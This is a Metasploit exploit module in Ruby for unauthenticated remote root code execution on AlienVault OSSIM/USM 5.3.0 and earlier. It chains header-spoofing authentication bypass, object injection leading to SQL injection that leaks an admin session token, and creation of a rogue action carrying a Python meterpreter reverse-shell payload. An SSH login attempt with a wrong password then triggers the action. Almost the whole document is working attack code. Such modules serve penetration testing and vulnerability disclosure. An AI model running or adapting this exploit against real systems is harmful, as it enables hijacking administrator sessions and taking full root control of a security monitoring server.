AlienVault OSSIM/USM Remote Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::SSH  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "AlienVault OSSIM/USM Remote Code Execution",  
'Description' => %q{  
This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together.  
Unauthenticated users can execute arbitrary commands under the context of the root user.  
  
By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability  
which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue  
action and policy that enables to execute operating system commands by using captured session token. As a final step,  
SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes  
operating system command with root user privileges.  
  
This module was tested against following product and versions:  
AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0  
AlienVault OSSIM 5.0.0, 4.6.1  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Peter Lapp', # EDB advisory owner  
'Mehmet Ince <[email protected]>' # Metasploit module  
],  
'References' =>  
[  
['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'],  
['EDB', '40682']  
],  
'DefaultOptions' =>  
{  
'SSL' => true,  
'WfsDelay' => 10,  
'Payload' => 'python/meterpreter/reverse_tcp'  
},  
'Platform' => ['python'],  
'Arch' => ARCH_PYTHON,  
'Targets' =>  
[  
['Alienvault USM/OSSIM <= 5.3.0', {}]  
],  
'Privileged' => true,  
'DisclosureDate' => "Jan 31 2017",  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])  
], self.class)  
end  
  
  
def check  
r = rand_text_alpha(15)  
p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}"  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),  
'headers' => {  
'User-Agent' => 'AV Report Scheduler',  
},  
'vars_get' => {  
'type' => 'alarm',  
'wtype' => 'foo',  
'asset' => 'ALL_ASSETS',  
'height' => 1,  
'value' => p  
}  
})  
  
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
  
end  
  
  
def exploit  
# Hijacking Administrator session by exploiting objection injection vuln that end up with sqli  
print_status("Hijacking administrator session")  
  
sql = "SELECT id FROM sessions LIMIT 1"  
p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}"  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),  
'headers' => {  
'X-Forwarded-For' => rhost.to_s,  
'User-Agent' => 'AV Report Scheduler',  
},  
'vars_get' => {  
'type' => 'alarm',  
'wtype' => 'foo',  
'asset' => 'ALL_ASSETS',  
'height' => 1,  
'value' => p  
}  
})  
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/  
admin_session = $1  
cookie = "PHPSESSID=#{admin_session}"  
print_good("Admin session token : #{cookie}")  
else  
fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again")  
end  
  
# Creating a Action that contains payload.  
print_status("Creating rogue action")  
r = rand_text_alpha(15)  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'),  
'cookie' => cookie,  
'headers' => {  
'X-Forwarded-For' => rhost.to_s,  
},  
'vars_post' => {  
'id' => '',  
'action' => 'new',  
'old_name' => '',  
'action_name' => r,  
'ctx' => '',  
'old_descr' => '',  
'descr' => r,  
'action_type' => '2',  
'only' => 'on',  
'cond' => 'True',  
'email_from' => '',  
'email_to' => 'email;email;email',  
'email_subject' => '',  
'email_message' => '',  
'transferred_user' => '',  
'transferred_entity' => '',  
'exec_command' => "python -c \"#{payload.encoded}\""  
}  
})  
  
if res && res.code == 200 && res.body.include?("Action successfully updated")  
print_good("Action created: #{r}")  
else  
fail_with(Failure::Unknown, "Unable to create action")  
end  
  
# Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint.  
# Thus we're using hijacked administrator session.  
print_status("Retrieving rogue action id")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),  
'cookie' => cookie,  
'headers' => {  
'X-Forwarded-For' => rhost.to_s,  
},  
'vars_get' => {  
'page' => '1',  
'rp' => '2000'  
}  
})  
  
if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{r}<\/a>/  
action_id = $1  
print_good("Corresponding Action ID found: #{action_id}")  
else  
fail_with(Failure::Unknown, "Unable to retrieve action id")  
end  
  
# Retrieving the policy data. We will use it while creating policy  
print_status("Retrieving policy ctx and group values")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),  
'cookie' => cookie,  
'headers' => {  
'X-Forwarded-For' => rhost.to_s,  
},  
'vars_get' => {  
'm_opt' => 'configuration',  
'sm_opt' => 'threat_intelligence',  
'h_opt' => 'policy'  
}  
})  
  
if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/  
policy_ctx = $1  
policy_group = $2  
print_good("CTX Value found: #{policy_ctx}")  
print_good("GROUP Value found: #{policy_group}")  
else  
fail_with(Failure::Unknown, "Unable to retrieve policy data")  
end  
  
# Creating policy that will be trigerred when SSH authentication failed due to wrong password.  
print_status("Creating a policy that uses our rogue action")  
policy = rand_text_alpha(15)  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),  
'cookie' => cookie,  
'headers' => {  
'X-Forwarded-For' => rhost.to_s,  
},  
'vars_post' => {  
'descr' => policy,  
'active' => '1',  
'group' => policy_group,  
'ctx' => policy_ctx,  
'order' => '1',  
'action' => 'new',  
'sources[]' => '00000000000000000000000000000000',  
'dests[]' => '00000000000000000000000000000000',  
'portsrc[]' => '0',  
'portdst[]' => '0',  
'plug_type' => '1',  
'plugins[0]' => 'on',  
'taxfilters[]' =>'25@2@0',  
'tax_pt' => '0',  
'tax_cat' => '0',  
'tax_subc' => '0',  
'mboxs[]' => '00000000000000000000000000000000',  
'rep_act' => '0',  
'rep_sev' => '1',  
'rep_rel' => '1',  
'rep_dir' => '0',  
'ev_sev' => '1',  
'ev_rel' => '1',  
'tzone' => 'Europe/Istanbul',  
'date_type' => '1',  
'begin_hour' => '0',  
'begin_minute' => '0',  
'begin_day_week' => '1',  
'begin_day_month' => '1',  
'begin_month' => '1',  
'end_hour' => '23',  
'end_minute' => '59',  
'end_day_week' => '7',  
'end_day_month' => '31',  
'end_month' => '12',  
'actions[]' => action_id,  
'sim' => '1',  
'priority' => '1',  
'qualify' => '1',  
'correlate' => '0',  
'cross_correlate' => '0',  
'store' => '0'  
}  
})  
  
if res && res.code == 200  
print_good("Policy created: #{policy}")  
else  
fail_with(Failure::Unknown, "Unable to create policy id")  
end  
  
# We gotta reload all policies in order to make our rogue one enabled.  
print_status("Activating the policy")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),  
'cookie' => cookie,  
'headers' => {  
'X-Forwarded-For' => rhost.to_s,  
},  
'vars_get' => {  
'what' => 'policies',  
'back' => '../policy/policy.php'  
}  
})  
  
if res && res.code == 200  
print_good("Rogue policy activated")  
else  
fail_with(Failure::Unknown, "#{peer} - Unable to enable rogue policy")  
end  
  
# We will trigger the rogue policy by doing ssh auth attempt with invalid credential :-)  
factory = ssh_socket_factory  
opts = {  
auth_methods: ['password'],  
port: 22,  
use_agent: false,  
config: false,  
password: rand_text_alpha(15),  
proxy: factory,  
non_interactive: true  
}  
  
print_status("Triggering the policy by performing SSH login attempt")  
  
begin  
Net::SSH.start(rhost, "root", opts)  
rescue Net::SSH::AuthenticationFailed  
print_good("SSH - Failed authentication. That means our policy and action will be trigged..!")  
rescue Net::SSH::Exception => e  
print_error("SSH Error: #{e.class} : #{e.message}")  
return nil  
end  
  
end  
end  
`